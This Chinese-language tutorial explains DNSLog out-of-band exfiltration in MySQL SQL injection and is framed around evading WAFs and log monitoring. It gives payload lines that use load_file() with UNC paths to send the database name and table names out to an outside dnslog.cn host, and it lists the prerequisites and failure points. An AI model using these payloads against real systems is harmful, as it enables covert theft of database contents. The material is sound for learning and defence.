DNSLog外带比页面回显更难被发现，因其DNS请求混于正常流量，WAF和日志监控难以识别；MySQL通过load_file('//xxx.dnslog.cn/1')触发UNC路径解析，先DNS查询再尝试SMB，而Linux下基本无效，且需secure_file_priv宽松、FILE权限及有效DNSLog子域名。
为什么DNSLog外带比页面回显更难被发现
因为DNS请求天然混在正常流量里，WAF和日志监控很难单独拎出来打标。页面回显是HTTP响应体里的明文，一扫就露馅；而DNSLog走的是UDP 53端口，目标服务器只是“顺手”解析了个域名，连HTTP连接都没建。
MySQL的load_file()怎么触发DNS查询
关键在UNC路径写法：load_file('//xxx.dnslog.cn/1')。MySQL看到双斜杠开头，会当成Windows UNC路径处理，先尝试DNS解析xxx.dnslog.cn，再发SMB请求——但SMB根本没发出去，DNS查询日志已经落进你平台了。
- Linux下
load_file()不支持UNC，基本无效（除非服务跑在Windows容器里） -
secure_file_priv必须为空或允许读取任意路径，否则函数直接报错 - 拼接时用
concat('//', database(), '.xxx.dnslog.cn/1')，别漏掉双斜杠和尾部路径
哪些错误会导致DNSLog完全收不到记录
不是payload发出去就一定有回显。常见断点有三个：
IntoDNS.ai
下载
免费 DNS 与邮件安全分析（IntoDNS.ai）：包括 DNSSEC、SPF、DKIM、DMARC、MTA-STS、BIMI、SMTP STARTTLS、FCrDNS、黑名单、发件人要求及报告。
- 目标MySQL账号没
FILE权限，load_file()直接返回NULL - 服务器防火墙禁止出向UDP 53，DNS请求发不出去
- 你用的DNSLog平台子域名过期了（比如
dnslog.cn只保留10分钟），得刷新重拿
为什么说“一次请求拿整条数据”是假象
实际受限于DNS协议限制：单个子域名长度上限约253字符，超长内容会被截断。想查表名、字段名，得用substring()分段拼接，比如concat('//', substring((select table_name from information_schema.tables limit 1),1,10), '.xxx.dnslog.cn/1')。
真正容易被忽略的，是数据库用户权限和目标系统OS类型——这两点不确认清楚，所有payload都是空转。
